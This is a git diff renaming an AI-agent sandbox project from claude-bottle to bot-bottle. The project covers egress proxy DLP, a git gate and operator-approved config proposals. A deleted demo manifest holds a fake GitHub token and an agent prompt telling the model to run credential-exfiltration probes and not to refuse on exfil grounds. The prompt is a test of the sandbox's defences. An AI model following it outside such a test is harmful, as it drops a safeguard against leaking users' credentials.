@@ from dataclasses import dataclass # Absolute import — `yaml_subset.py` is copied flat into the bundle # image's `/app/` next to this file (via `Dockerfile.sidecars`). # The host-side unit tests run with the repo on sys.path, where the -# import resolves under the `claude_bottle` package. The try/except +# import resolves under the `bot_bottle` package. The try/except # shim picks whichever import works. try: from yaml_subset import YamlSubsetError, parse_yaml_subset # type: ignore[import-not-found] diff --git a/claude_bottle/egress_entrypoint.sh b/bot_bottle/egress_entrypoint.sh similarity index 97% rename from claude_bottle/egress_entrypoint.sh rename to bot_bottle/egress_entrypoint.sh index 10556f0..90e8a03 100644 --- a/claude_bottle/egress_entrypoint.sh +++ b/bot_bottle/egress_entrypoint.sh @@ -2,7 +2,7 @@ # Egress daemon entrypoint inside the sidecar bundle (PRD 0024). # # Extracted verbatim from Dockerfile.egress's prior inline `sh -c` -# ENTRYPOINT so the supervisor in claude_bottle/sidecar_init.py can +# ENTRYPOINT so the supervisor in bot_bottle/sidecar_init.py can # call it as a normal child. Behavior is unchanged: # # * Upstream proxy: when EGRESS_UPSTREAM_PROXY is set, switch diff --git a/claude_bottle/env.py b/bot_bottle/env.py similarity index 97% rename from claude_bottle/env.py rename to bot_bottle/env.py index a5ed287..35fe505 100644 --- a/claude_bottle/env.py +++ b/bot_bottle/env.py @@ -98,7 +98,7 @@ def _read_secret_silent(name: str, prompt_body: str) -> str: prompt = ( f"{prompt_body} (input hidden): " if prompt_body - else f"claude-bottle: secret value for {name} (input hidden): " + else f"bot-bottle: secret value for {name} (input hidden): " ) value = getpass.getpass(prompt, stream=tty) tty.close() @@ -106,7 +106,7 @@ def _read_secret_silent(name: str, prompt_body: str) -> str: prompt = ( f"{prompt_body} (input hidden): " if prompt_body - else f"claude-bottle: secret value for {name} (input hidden): " + else f"bot-bottle: secret value for {name} (input hidden): " ) value = getpass.getpass(prompt) if not value: diff --git a/claude_bottle/git_gate.py b/bot_bottle/git_gate.py similarity index 99% rename from claude_bottle/git_gate.py rename to bot_bottle/git_gate.py index d01c4c0..4fc7bfc 100644 --- a/claude_bottle/git_gate.py +++ b/bot_bottle/git_gate.py @@ -25,7 +25,7 @@ land. See `docs/prds/0008-git-gate.md`. This module defines the abstract gate (`GitGate`) and its plan dataclass (`GitGatePlan`). The sidecar's start/stop lifecycle is backend-specific and lives on concrete subclasses (see -`claude_bottle/backend/docker/git_gate.py`).""" +`bot_bottle/backend/docker/git_gate.py`).""" from __future__ import annotations @@ -158,7 +158,7 @@ def git_gate_render_gitconfig( if not entries: return "" out = [ - "# claude-bottle git-gate (PRD 0008): every git operation against\n", + "# bot-bottle git-gate (PRD 0008): every git operation against\n", "# a declared upstream routes through the gate, which mirrors\n", "# the upstream bidirectionally (gitleaks-scanned push;\n", "# fetch-from-upstream-before-every-upload-pack via access-hook).\n", diff --git a/claude_bottle/log.py b/bot_bottle/log.py similarity index 69% rename from claude_bottle/log.py rename to bot_bottle/log.py index 4fc93cf..8e1abc7 100644 --- a/claude_bottle/log.py +++ b/bot_bottle/log.py @@ -7,11 +7,11 @@ from typing import NoReturn def info(msg: str) -> None: - print(f"claude-bottle: {msg}", file=sys.stderr) + print(f"bot-bottle: {msg}", file=sys.stderr) def warn(msg: str) -> None: - print(f"claude-bottle: warning: {msg}", file=sys.stderr) + print(f"bot-bottle: warning: {msg}", file=sys.stderr) class Die(SystemExit): @@ -20,5 +20,5 @@ class Die(SystemExit): def die(msg: str) -> NoReturn: - print(f"claude-bottle: error: {msg}", file=sys.stderr) + print(f"bot-bottle: error: {msg}", file=sys.stderr) raise Die(1) diff --git a/claude_bottle/manifest.py b/bot_bottle/manifest.py similarity index 96% rename from claude_bottle/manifest.py rename to bot_bottle/manifest.py index b8c5fcf..0b04912 100644 --- a/claude_bottle/manifest.py +++ b/bot_bottle/manifest.py @@ -2,9 +2,9 @@ Reads the per-file manifest tree: - $HOME/.claude-bottle/bottles/.md — one bottle per file - $HOME/.claude-bottle/agents/.md — home-resident agents - $CWD/.claude-bottle/agents/.md — cwd-supplied agents + $HOME/.bot-bottle/bottles/.md — one bottle per file + $HOME/.bot-bottle/agents/.md — home-resident agents + $CWD/.bot-bottle/agents/.md — cwd-supplied agents Each file is Markdown with YAML frontmatter. The frontmatter holds the structured config (see schema below); for agents the body is @@ -205,7 +205,7 @@ class AgentProvider: `template` selects a built-in launch/runtime contract. `dockerfile` optionally points at a custom agent-image Dockerfile while leaving - claude-bottle's sidecar infrastructure intact. + bot-bottle's sidecar infrastructure intact. """ template: str = "claude" @@ -523,7 +523,7 @@ class Bottle: # MCP tools to the agent (cred-proxy-block, pipelock-block, # capability-block; the cred-proxy-block tool is renamed and # retargeted at egress in PRD 0017 chunk 3) plus mounts the - # current-config dir read-only into the agent at /etc/claude-bottle/ + # current-config dir read-only into the agent at /etc/bot-bottle/ # current-config. False (the default) skips the sidecar and mount. supervise: bool = False @@ -665,24 +665,24 @@ class Manifest: """Walk the per-file manifest tree and build a Manifest. Layout (PRD 0011): - $HOME/.claude-bottle/bottles/.md — bottles (home-only) - $HOME/.claude-bottle/agents/.md — home agents - $CWD/.claude-bottle/agents/.md — cwd agents + $HOME/.bot-bottle/bottles/.md — bottles (home-only) + $HOME/.bot-bottle/agents/.md — home agents + $CWD/.bot-bottle/agents/.md — cwd agents Cwd agents merge into the home agents on the same name (cwd wins). A bottles/ subdir under $CWD is logged as a warning and ignored — the filesystem layout IS the trust boundary. - If `claude-bottle.json` exists alongside a missing - `.claude-bottle/` directory at either side, dies with a + If `bot-bottle.json` exists alongside a missing + `.bot-bottle/` directory at either side, dies with a clear pointer at the README's manifest section — the manifest format changed in PRD 0011 and we don't silently fall back.""" home_dir = Path(os.environ["HOME"]) cwd_dir = Path(cwd) - home_md = home_dir / ".claude-bottle" - cwd_md = cwd_dir / ".claude-bottle" + home_md = home_dir / ".bot-bottle" + cwd_md = cwd_dir / ".bot-bottle" _check_stale_json(home_dir, home_md, "$HOME") if cwd_dir.resolve() != home_dir.resolve(): @@ -731,7 +731,7 @@ class Manifest: warn( f"ignoring bottle file(s) under " f"{stale_bottles}: {names}. Bottles can only " - f"live under $HOME/.claude-bottle/bottles/ " + f"live under $HOME/.bot-bottle/bottles/ " f"(PRD 0011). Move them or delete." ) cwd_agents_dir = cwd_dir / "agents" @@ -771,8 +771,8 @@ class Manifest: return available = ", ".join(self.agents.keys()) if available: - die(f"agent '{name}' not defined in claude-bottle.json. Available: {available}") - die(f"agent '{name}' not defined in claude-bottle.json (manifest is empty).") + die(f"agent '{name}' not defined in bot-bottle.json. Available: {available}") + die(f"agent '{name}' not defined in bot-bottle.json (manifest is empty).") def has_bottle(self, name: str) -> bool: return name in self.bottles @@ -783,10 +783,10 @@ class Manifest: available = ", ".join(self.bottles.keys()) if available: die( - f"bottle '{name}' not defined in claude-bottle.json. " + f"bottle '{name}' not defined in bot-bottle.json. " f"Available bottles: {available}" ) - die(f"bottle '{name}' not defined in claude-bottle.json (no bottles defined).") + die(f"bottle '{name}' not defined in bot-bottle.json (no bottles defined).") def bottle_for(self, agent_name: str) -> Bottle: """Resolve the Bottle the named agent references. The validator @@ -822,8 +822,8 @@ def _load_json_or_die(path: Path) -> dict[str, object]: with path.open() as f: doc: object = json.load(f) except json.JSONDecodeError: - die(f"claude-bottle.json at {path} is not valid JSON") - return _as_json_object(doc, f"claude-bottle.json at {path}") + die(f"bot-bottle.json at {path} is not valid JSON") + return _as_json_object(doc, f"bot-bottle.json at {path}") def _opt_str(value: object, label: str) -> str: @@ -960,7 +960,7 @@ _BOTTLE_KEYS = frozenset( ) _AGENT_KEYS_REQUIRED = frozenset({"bottle"}) _AGENT_KEYS_OPTIONAL = frozenset({"skills"}) -# Claude Code subagent fields claude-bottle ignores at launch but +# Claude Code subagent fields bot-bottle ignores at launch but # doesn't reject — lets the same file double as `~/.claude/agents/*.md`. _AGENT_KEYS_CC_PASSTHROUGH = frozenset({ "name", "description", "model", "color", "memory", @@ -971,10 +971,10 @@ _AGENT_KEYS = ( def _check_stale_json(dir_path: Path, md_dir: Path, label: str) -> None: - """Die if `/claude-bottle.json` exists but `md_dir` does + """Die if `/bot-bottle.json` exists but `md_dir` does not — the manifest format changed in PRD 0011 and we don't want to silently leave the JSON content unused.""" - legacy = dir_path / "claude-bottle.json" + legacy = dir_path / "bot-bottle.json" if legacy.is_file() and not md_dir.exists(): die( f"found {legacy} but {md_dir} does not exist. The manifest " diff --git a/claude_bottle/pipelock.py b/bot_bottle/pipelock.py similarity index 99% rename from claude_bottle/pipelock.py rename to bot_bottle/pipelock.py index 96c779f..8dadf3c 100644 --- a/claude_bottle/pipelock.py +++ b/bot_bottle/pipelock.py @@ -110,7 +110,7 @@ def pipelock_seed_phrase_detection_enabled(bottle: Bottle) -> bool: no per-path / per-host knob in pipelock 2.3.0 — so we turn the detector off for the entire bottle when the bottle declares an egress route to `api.anthropic.com`. The trade-off is - accepted: BIP-39 detection has little value in claude-bottle's + accepted: BIP-39 detection has little value in bot-bottle's threat model (the agent has no access to a user's crypto wallet seeds; the patterns that matter — gh*_, sk-ant-, AKIA, etc. — keep firing).""" @@ -191,7 +191,7 @@ def pipelock_build_config( # Body-scan enforcement is a separate pipelock section (each DLP # "surface" — body, MCP, response — has its own action). Pipelock's # built-in default for request_body_scanning is "warn" (forward - # with a log line); claude-bottle hard-codes "block" so a hit + # with a log line); bot-bottle hard-codes "block" so a hit # actually stops the request from leaving the egress network. # # `scan_headers: true` + `header_mode: all` extends the scan to diff --git a/claude_bottle/sidecar_init.py b/bot_bottle/sidecar_init.py similarity index 98% rename from claude_bottle/sidecar_init.py rename to bot_bottle/sidecar_init.py index 2ccfe86..a9d9457 100644 --- a/claude_bottle/sidecar_init.py +++ b/bot_bottle/sidecar_init.py @@ -1,6 +1,6 @@ """Per-bottle sidecar supervisor (PRD 0024 chunk 1). -PID 1 inside the `claude-bottle-sidecars` bundle image. Spawns +PID 1 inside the `bot-bottle-sidecars` bundle image. Spawns the configured daemons (egress, pipelock, git-gate, supervise), forwards SIGTERM/SIGINT to each child, and propagates per-daemon stdout+stderr to the container log with a `[name] ` prefix. @@ -19,7 +19,7 @@ PR; the interim policy is "don't take the bundle down for one sick daemon." Daemon subset is env-driven. The compose renderer narrows it via -`CLAUDE_BOTTLE_SIDECAR_DAEMONS=egress,pipelock` for bottles that +`BOT_BOTTLE_SIDECAR_DAEMONS=egress,pipelock` for bottles that don't use git-gate or supervise. Default: all four. Stdlib-only by design — adding supervisord/s6/runit for four @@ -106,7 +106,7 @@ def _selected_daemons( env: dict[str, str], all_daemons: Sequence[_DaemonSpec] | None = None, ) -> tuple[_DaemonSpec, ...]: - """Filter the daemon set by the CLAUDE_BOTTLE_SIDECAR_DAEMONS env + """Filter the daemon set by the BOT_BOTTLE_SIDECAR_DAEMONS env var. Unknown names in the list are ignored — the renderer is the source of truth for which daemons are wired. @@ -115,7 +115,7 @@ def _selected_daemons( `_DAEMONS` and have the new value take effect.""" if all_daemons is None: all_daemons = _DAEMONS - raw = env.get("CLAUDE_BOTTLE_SIDECAR_DAEMONS", "").strip() + raw = env.get("BOT_BOTTLE_SIDECAR_DAEMONS", "").strip() if not raw: return tuple(all_daemons) wanted = {n.strip() for n in raw.split(",") if n.strip()} diff --git a/claude_bottle/supervise.py b/bot_bottle/supervise.py similarity index 96% rename from claude_bottle/supervise.py rename to bot_bottle/supervise.py index 11b1256..bdf4cdb 100644 --- a/claude_bottle/supervise.py +++ b/bot_bottle/supervise.py @@ -1,7 +1,7 @@ """Per-bottle supervise plane (PRD 0013). The supervise plane is the per-bottle MCP sidecar plus its host-side -queue/audit support. The sidecar (claude_bottle.supervise_server) +queue/audit support. The sidecar (bot_bottle.supervise_server) sits on the bottle's internal network and exposes three MCP tools the agent calls when it hits a stuck-recovery category: @@ -13,7 +13,7 @@ Each tool call: the agent passes the full proposed file plus a justification text. The sidecar validates the proposal syntactically, writes it to the host's per-bottle queue dir, and holds the tool-call connection open. The operator's TUI dashboard -(claude_bottle.cli.dashboard) sees the proposal, accepts +(bot_bottle.cli.dashboard) sees the proposal, accepts approve / modify / reject, and writes a response file alongside the proposal. The sidecar sees the response and returns `{status, notes}` to the agent. @@ -21,7 +21,7 @@ to the agent. This module defines the host-side library: dataclasses for the queue file shapes, queue read/write helpers, the audit log writer, and the diff renderer. The in-container sidecar lives in -claude_bottle/supervise_server.py; the supervise daemon's container +bot_bottle/supervise_server.py; the supervise daemon's container lifecycle is owned by the sidecar bundle (PRD 0024). For 0013 the supervisor's approval handlers are deliberately no-ops: @@ -63,7 +63,7 @@ TOOLS: tuple[str, ...] = ( # The supervise sidecar uses these to query egress's # introspection endpoint for the `list-egress-routes` MCP # tool. The hostname + port match egress's docker network -# alias + listen port (see claude_bottle.egress.EGRESS_HOSTNAME +# alias + listen port (see bot_bottle.egress.EGRESS_HOSTNAME # and backend.docker.egress.EGRESS_PORT — the values # are inlined here so the in-container supervise_server doesn't # need to import the egress package). @@ -90,7 +90,7 @@ STATUSES: tuple[str, ...] = (STATUS_APPROVED, STATUS_MODIFIED, STATUS_REJECTED) ACTION_OPERATOR_EDIT = "operator-edit" QUEUE_DIR_IN_CONTAINER = "/run/supervise/queue" -CURRENT_CONFIG_DIR_IN_AGENT = "/etc/claude-bottle/current-config" +CURRENT_CONFIG_DIR_IN_AGENT = "/etc/bot-bottle/current-config" DEFAULT_POLL_INTERVAL_SEC = 0.5 @@ -98,16 +98,16 @@ DEFAULT_POLL_INTERVAL_SEC = 0.5 # --- Paths ----------------------------------------------------------------- -def claude_bottle_root() -> Path: - return Path.home() / ".claude-bottle" +def bot_bottle_root() -> Path: + return Path.home() / ".bot-bottle" def queue_dir_for_slug(slug: str) -> Path: - return claude_bottle_root() / "queue" / slug + return bot_bottle_root() / "queue" / slug def audit_dir() -> Path: - return claude_bottle_root() / "audit" + return bot_bottle_root() / "audit" def audit_log_path(component: str, slug: str) -> Path: @@ -453,7 +453,7 @@ class SupervisePlan: `queue_dir` is the host directory bind-mounted into the sidecar at /run/supervise/queue. `current_config_dir` is the host directory bind-mounted (read-only) into the *agent* container - at /etc/claude-bottle/current-config — currently holds only the + at /etc/bot-bottle/current-config — currently holds only the Dockerfile snapshot (routes.yaml + allowlist moved to the `list-egress-routes` MCP tool). `internal_network` is empty at prepare time; the backend's launch step fills it via @@ -566,7 +566,7 @@ __all__ = [ "archive_proposal", "audit_dir", "audit_log_path", - "claude_bottle_root", + "bot_bottle_root", "list_pending_proposals", "queue_dir_for_slug", "read_audit_entries", diff --git a/claude_bottle/supervise_server.py b/bot_bottle/supervise_server.py similarity index 99% rename from claude_bottle/supervise_server.py rename to bot_bottle/supervise_server.py index 7a1f164..7600925 100644 --- a/claude_bottle/supervise_server.py +++ b/bot_bottle/supervise_server.py @@ -6,7 +6,7 @@ propose config changes when stuck. Each tool call: 1. Validates the proposed file syntactically. 2. Writes a Proposal to /run/supervise/queue/ (bind-mounted from - the host's ~/.claude-bottle/queue//). + the host's ~/.bot-bottle/queue//). 3. Blocks polling for a matching Response file. 4. Returns the operator's `{status, notes}` to the agent. @@ -23,7 +23,7 @@ Speaks MCP over HTTP+JSON-RPC. Methods handled: Everything else returns JSON-RPC error -32601 (method not found). -Stdlib-only. The Dockerfile copies this file + claude_bottle/supervise.py +Stdlib-only. The Dockerfile copies this file + bot_bottle/supervise.py into the image; the server imports `supervise` for the queue / Proposal plumbing. """ @@ -51,7 +51,7 @@ import supervise as _sv MCP_PROTOCOL_VERSION = "2024-11-05" -SERVER_NAME = "claude-bottle-supervise" +SERVER_NAME = "bot-bottle-supervise" SERVER_VERSION = "0.1.0" JSONRPC_VERSION = "2.0" @@ -254,7 +254,7 @@ TOOL_DEFINITIONS: list[dict[str, object]] = [ "or env var you need — something that lives in the agent " "Dockerfile rather than in routes or the pipelock allowlist. " "Read the current Dockerfile from " - "/etc/claude-bottle/current-config/Dockerfile, compose a " + "/etc/bot-bottle/current-config/Dockerfile, compose a " "modified version, and pass the full new file plus a " "justification. On approval the supervisor rebuilds the " "bottle from the new Dockerfile and starts a replacement on " diff --git a/claude_bottle/util.py b/bot_bottle/util.py similarity index 100% rename from claude_bottle/util.py rename to bot_bottle/util.py diff --git a/claude_bottle/yaml_subset.py b/bot_bottle/yaml_subset.py similarity index 98% rename from claude_bottle/yaml_subset.py rename to bot_bottle/yaml_subset.py index f6cb777..1ab7694 100644 --- a/claude_bottle/yaml_subset.py +++ b/bot_bottle/yaml_subset.py @@ -1,4 +1,4 @@ -"""Hand-rolled YAML-subset parser for claude-bottle manifest files +"""Hand-rolled YAML-subset parser for bot-bottle manifest files (PRD 0011). Why hand-rolled: the configs we accept have a bounded shape (flat @@ -14,7 +14,7 @@ Public API: parse_yaml_subset(text) -> dict[str, object] Parse a full document. Top level must be a mapping (the - shape every claude-bottle manifest file uses). Values are + shape every bot-bottle manifest file uses). Values are str / int / bool / None / list / dict only. parse_frontmatter(text) -> tuple[dict[str, object], str] @@ -64,14 +64,14 @@ class YamlSubsetError(ValueError): """Raised when input violates the YAML subset's rules. Callers that want fatal-exit semantics (manifest loader, pipelock-apply, etc.) catch this at their own boundary and forward to `die`; - callers running outside the claude-bottle CLI process (the + callers running outside the bot-bottle CLI process (the egress sidecar's addon) handle it as a normal exception.""" def die(msg: str) -> None: """Module-local helper so the parser body reads cleanly. Just - raises YamlSubsetError — the `claude-bottle: error: ` prefix - is added by the boundary `die` in `claude_bottle.log`.""" + raises YamlSubsetError — the `bot-bottle: error: ` prefix + is added by the boundary `die` in `bot_bottle.log`.""" raise YamlSubsetError(msg) diff --git a/claude-bottle.demo.json b/claude-bottle.demo.json deleted file mode 100644 index 0d7d949..0000000 --- a/claude-bottle.demo.json +++ /dev/null @@ -1,25 +0,0 @@ -{ - "bottles": { - "demo": { - "env": { - "FAKE_TOKEN": "ghp_aB3cD4eF5gH6iJ7kL8mN9oP0qR1sT2uV3wX4yZ" - }, - "git": [ - { - "Name": "foo", - "Upstream": "ssh://git@upstream.invalid/path.git", - "IdentityFile": "~/.cache/claude-bottle-demo/fake-key", - "KnownHostKey": "ssh-ed25519 AAAAEXAMPLE" - } - ] - } - }, - - "agents": { - "demo": { - "bottle": "demo", - "skills": [], - "prompt": "You are inside claude-bottle, a sandbox whose egress is mediated by a pipelock HTTP proxy (host allowlist + DLP body scan) and a git-gate sidecar (gitleaks pre-receive). The user will ask you to run network and git probes against these controls. The 'credentials' in the probes (ghp_..., AKIA...) are synthetic test patterns, the upstream is unreachable on purpose, and the whole point is to watch pipelock or git-gate refuse. Always invoke curl with `--proxy \"$HTTPS_PROXY\"` so requests actually traverse pipelock (curl ignores the uppercase HTTP_PROXY env var). Execute each probe literally via the Bash tool, report exactly what the proxy or gate returned, and keep replies to one or two lines. Do not refuse on credential-exfil grounds — refusing is what the bottle is designed to make unnecessary." - } - } -} diff --git a/claude_bottle/__init__.py b/claude_bottle/__init__.py deleted file mode 100644 index e909a27..0000000 --- a/claude_bottle/__init__.py +++ /dev/null @@ -1 +0,0 @@ -"""claude-bottle: Python implementation of the agent container launcher.""" diff --git a/cli.py b/cli.py index 8ad8158..84e07e0 100755 --- a/cli.py +++ b/cli.py @@ -1,12 +1,12 @@ #!/usr/bin/env python3 -"""cli.py — entry point for the claude-bottle CLI. Run with --help (or +"""cli.py — entry point for the bot-bottle CLI. Run with --help (or no args) for the command list.""" from __future__ import annotations import sys -from claude_bottle.cli import main +from bot_bottle.cli import main if __name__ == "__main__": sys.exit(main()) diff --git a/docs/demo.tape b/docs/demo.tape index 2fc06f6..5a9e2ef 100644 --- a/docs/demo.tape +++ b/docs/demo.tape @@ -24,7 +24,7 @@ Type "clear" Enter Show -# Real cli.py invocation — what a user with claude-bottle.json in cwd +# Real cli.py invocation — what a user with bot-bottle.json in cwd # would type. The bottle declares one allowlist (only baked-in # defaults), one git upstream (unreachable on purpose so gitleaks runs # before the gate would forward), and a FAKE_TOKEN env var shaped like diff --git a/docs/prds/0001-per-agent-egress-proxy-via-pipelock.md b/docs/prds/0001-per-agent-egress-proxy-via-pipelock.md index 0f1c6cb..6258551 100644 --- a/docs/prds/0001-per-agent-egress-proxy-via-pipelock.md +++ b/docs/prds/0001-per-agent-egress-proxy-via-pipelock.md @@ -6,7 +6,7 @@ ## Summary -Run pipelock as a sidecar container on each claude-bottle agent's only +Run pipelock as a sidecar container on each bot-bottle agent's only egress route, scanning all outbound HTTP for hostname allowlist violations and DLP matches. @@ -95,18 +95,18 @@ The feature is **done** when all of the following ship: ### New services / components -Two new modules under `claude_bottle/`: +Two new modules under `bot_bottle/`: -- **`claude_bottle/pipelock.py`** — pipelock-specific logic. Generates +- **`bot_bottle/pipelock.py`** — pipelock-specific logic. Generates the per-bottle YAML config from the manifest's `egress` block plus baked-in defaults; copies the YAML into the sidecar via `docker cp`; starts and stops the sidecar container; resolves the allowlist for display in the preflight. -- **`claude_bottle/network.py`** — Docker network plumbing. Creates the - per-agent `--internal` network (named `claude-bottle-net-` with +- **`bot_bottle/network.py`** — Docker network plumbing. Creates the + per-agent `--internal` network (named `bot-bottle-net-` with the same slug-and-suffix scheme used for container names), attaches the agent and sidecar to it, removes it on teardown. Kept separate - from `claude_bottle/docker.py` so a future PRD can add non-pipelock + from `bot_bottle/docker.py` so a future PRD can add non-pipelock network controls without entangling them with pipelock specifics. This split mirrors the existing per-concern module pattern @@ -114,7 +114,7 @@ This split mirrors the existing per-concern module pattern ### Existing code touched -- **`claude_bottle/cli/start.py`** — wire the new lifecycle into the +- **`bot_bottle/cli/start.py`** — wire the new lifecycle into the `start` subcommand: create the internal network, launch the pipelock sidecar, then launch the agent container with `HTTPS_PROXY` / `HTTP_PROXY` set to the sidecar's service name. Add the resolved @@ -129,9 +129,9 @@ This split mirrors the existing per-concern module pattern the image. This keeps the image agnostic to whether a sidecar is in use (useful if a future bottle definition opts out of the proxy for testing). -`claude_bottle/docker.py` may grow one or two helpers if there is a +`bot_bottle/docker.py` may grow one or two helpers if there is a clean place for shared primitives, but the network-specific helpers -live in `claude_bottle/network.py`. Decide during implementation; not a +live in `bot_bottle/network.py`. Decide during implementation; not a contract. ### Data model changes @@ -176,7 +176,7 @@ bottle share the same allowlist. - **Pipelock binary** is pulled from `ghcr.io/luckypipewrench/pipelock@sha256:`. The digest is - pinned in `claude_bottle/pipelock.py` (or a sibling constants module) + pinned in `bot_bottle/pipelock.py` (or a sibling constants module) and bumped deliberately, mirroring the claude-code version pinning pattern in `Dockerfile`. - No new host-side runtimes. The pipelock image is the only new @@ -192,8 +192,8 @@ bottle share the same allowlist. (proxy + 48 default DLP patterns + subdomain entropy + sidecar topology) is expected to be core-only, but this should be confirmed. - **Where to put the digest pin.** A constant in - `claude_bottle/pipelock.py` is the lowest-friction option; a separate - `claude_bottle/versions.py` (or similar) may be cleaner once there + `bot_bottle/pipelock.py` is the lowest-friction option; a separate + `bot_bottle/versions.py` (or similar) may be cleaner once there are multiple pinned dependencies. Decide during implementation. - **Per-agent overrides.** The PRD scopes egress to the bottle. If a later use case calls for tightening (not loosening) the allowlist for diff --git a/docs/prds/0003-bottle-backend-abstraction.md b/docs/prds/0003-bottle-backend-abstraction.md index 556c4cf..72e0b40 100644 --- a/docs/prds/0003-bottle-backend-abstraction.md +++ b/docs/prds/0003-bottle-backend-abstraction.md @@ -14,7 +14,7 @@ second backend ships in this PRD. ## Problem Today, "how to launch a bottle" is spread across roughly six modules -(`claude_bottle/cli/start.py`, `pipelock.py`, `network.py`, `ssh.py`, +(`bot_bottle/cli/start.py`, `pipelock.py`, `network.py`, `ssh.py`, `skills.py`, `docker.py`), each shelling out to `docker` directly via `subprocess.run(["docker", ...])`. That coupling means: @@ -57,22 +57,22 @@ The feature works when all of the following are observable: The feature is **done** when all of the following ship: -- A new `claude_bottle/backend/` package exists with abstract base +- A new `bot_bottle/backend/` package exists with abstract base classes (`BottleBackend`, `BottlePlan`, `BottleCleanupPlan`, - `Bottle`) plus a `claude_bottle/backend/docker/` subpackage + `Bottle`) plus a `bot_bottle/backend/docker/` subpackage containing the `DockerBottleBackend` implementation. - `DockerBottleBackend.launch(plan)` returns a context manager yielding a `Bottle` handle exposing `exec_claude(argv, *, tty=True)`, `cp_in(host, ctr)`, and teardown on context exit. - Every existing `subprocess.run(["docker", ...])` call in `cli/start.py`, `pipelock.py`, `network.py`, `ssh.py`, and - `skills.py` either moves into `claude_bottle/backend/docker/` or is + `skills.py` either moves into `bot_bottle/backend/docker/` or is called from it. No top-level CLI code references `docker` directly. - `bottles[].runtime` is removed from the manifest schema, the dataclass in `manifest.py`, the example manifest, and any README / docs references. `require_runsc()` in the old top-level - `claude_bottle/docker.py` is deleted. -- A single env var, `CLAUDE_BOTTLE_BACKEND` (default `"docker"`), + `bot_bottle/docker.py` is deleted. +- A single env var, `BOT_BOTTLE_BACKEND` (default `"docker"`), selects the backend. Unknown values die at startup with a list of known backends. - The y/N preflight in `cli.py` includes the resolved Docker runtime @@ -97,8 +97,8 @@ The feature is **done** when all of the following ship: ### In scope -- New `claude_bottle/backend/` package containing the abstract types - and the registry, plus a `claude_bottle/backend/docker/` subpackage +- New `bot_bottle/backend/` package containing the abstract types + and the registry, plus a `bot_bottle/backend/docker/` subpackage containing the Docker implementation. - The `Bottle`, `BottleBackend`, `BottlePlan`, and `BottleCleanupPlan` abstract base classes; `BottleSpec` data carrier; and @@ -136,10 +136,10 @@ The feature is **done** when all of the following ship: ### New services / components -A new package, `claude_bottle/backend/`, with an abstract base layer +A new package, `bot_bottle/backend/`, with an abstract base layer and a Docker subpackage: -- **`claude_bottle/backend/__init__.py`** — Defines the abstract base +- **`bot_bottle/backend/__init__.py`** — Defines the abstract base classes and the backend registry. `BottleSpec` carries the CLI-supplied intent; the abstract `BottlePlan` and `BottleCleanupPlan` are the prepared-but-not-launched outputs of @@ -165,14 +165,14 @@ and a Docker subpackage: `provision_git`); subclasses implement those four rather than overriding `provision` itself. - Selection reads `CLAUDE_BOTTLE_BACKEND` (default `"docker"`). + Selection reads `BOT_BOTTLE_BACKEND` (default `"docker"`). Unknown values call `die()` with the list of known backends: ```python def get_bottle_backend() -> BottleBackend: ... ``` -- **`claude_bottle/backend/docker/`** — Subpackage with the Docker +- **`bot_bottle/backend/docker/`** — Subpackage with the Docker implementation, split into: - `backend.py` — `DockerBottleBackend`, owning all five abstract methods (`prepare`, `launch`, `prepare_cleanup`, `cleanup`, @@ -196,49 +196,49 @@ and a Docker subpackage: - `pipelock.py` — `DockerPipelockProxy` (the sidecar start/stop lifecycle) and Docker-specific naming helpers. The backend-neutral yaml + allowlist resolution stays in the top-level - `claude_bottle/pipelock.py`. + `bot_bottle/pipelock.py`. - `util.py` — Docker-specific helpers (slugify, image/container existence checks, `runsc_available`). ### Existing code touched -- **`claude_bottle/cli/start.py`** — replace the inline docker +- **`bot_bottle/cli/start.py`** — replace the inline docker orchestration with `backend = get_bottle_backend(); plan = backend.prepare(spec, stage_dir=...); with backend.launch(plan) as bottle: bottle.exec_claude(...)`. The y/N preflight is rendered by `plan.print(...)`. -- **`claude_bottle/manifest.py`** — drop the `runtime` field from the +- **`bot_bottle/manifest.py`** — drop the `runtime` field from the Bottle dataclass and its validation. Existing manifests with `runtime: "runsc"` produce a clear "no longer supported; gVisor is now auto-detected by the backend; remove the 'runtime' field" error. -- **`claude_bottle/docker.py`** — module deleted. `require_runsc()`, +- **`bot_bottle/docker.py`** — module deleted. `require_runsc()`, `slugify()`, `image_exists()`, `container_exists()`, the `build_image` / `build_image_with_cwd` helpers, and `require_docker` - all migrate into `claude_bottle/backend/docker/util.py` (or + all migrate into `bot_bottle/backend/docker/util.py` (or `backend.py`). -- **`claude_bottle/pipelock.py`** — keeps the allowlist resolution and +- **`bot_bottle/pipelock.py`** — keeps the allowlist resolution and YAML generation. Becomes a thin abstract class (`PipelockProxy`) exposing `prepare` (writes the yaml) plus abstract `start` / `stop` methods. The Docker-specific subclass `DockerPipelockProxy` lives under `backend/docker/pipelock.py`. -- **`claude_bottle/network.py`** — folds entirely into +- **`bot_bottle/network.py`** — folds entirely into `backend/docker/network.py`. No top-level network module remains. -- **`claude_bottle/ssh.py`** and **`claude_bottle/skills.py`** — +- **`bot_bottle/ssh.py`** and **`bot_bottle/skills.py`** — absorbed into `DockerBottleBackend` as `provision_ssh` and `provision_skills`. The host-side file-tree generation stays as private helpers on the backend class. -- **`claude_bottle/env.py`** (renamed from `env_resolve.py`) — +- **`bot_bottle/env.py`** (renamed from `env_resolve.py`) — `resolve_env(manifest, agent) -> ResolvedEnv` returns `forwarded: list[str]` (names whose values were exported into `os.environ` for inheritance) and `literals: dict[str, str]` (name → verbatim value). The Docker backend translates the result into `--env-file` content + `-e NAME` argv fragments. -- **`claude_bottle/util.py`** — top-level cross-backend helpers +- **`bot_bottle/util.py`** — top-level cross-backend helpers (`expand_tilde`, `is_ipv4_literal`). Backend-specific helpers live in their backend's `util.py`. -- **`claude-bottle.example.json`** — remove the `runtime` field from +- **`bot-bottle.example.json`** — remove the `runtime` field from any example bottle. -- **`README.md`** — note `CLAUDE_BOTTLE_BACKEND` and the runsc +- **`README.md`** — note `BOT_BOTTLE_BACKEND` and the runsc auto-detect; remove any mention of `runtime: "runsc"` as a manifest field. diff --git a/docs/prds/0004-split-out-provisioners.md b/docs/prds/0004-split-out-provisioners.md index 38bf4f5..1378c07 100644 --- a/docs/prds/0004-split-out-provisioners.md +++ b/docs/prds/0004-split-out-provisioners.md @@ -6,12 +6,12 @@ ## Summary -Break `claude_bottle/backend/docker/backend.py` (664 lines) apart by +Break `bot_bottle/backend/docker/backend.py` (664 lines) apart by moving the four provisioner methods — `provision_prompt`, `provision_skills`, `provision_ssh`, `provision_git` — out of `DockerBottleBackend` into their own modules under -`claude_bottle/backend/docker/provision/`. 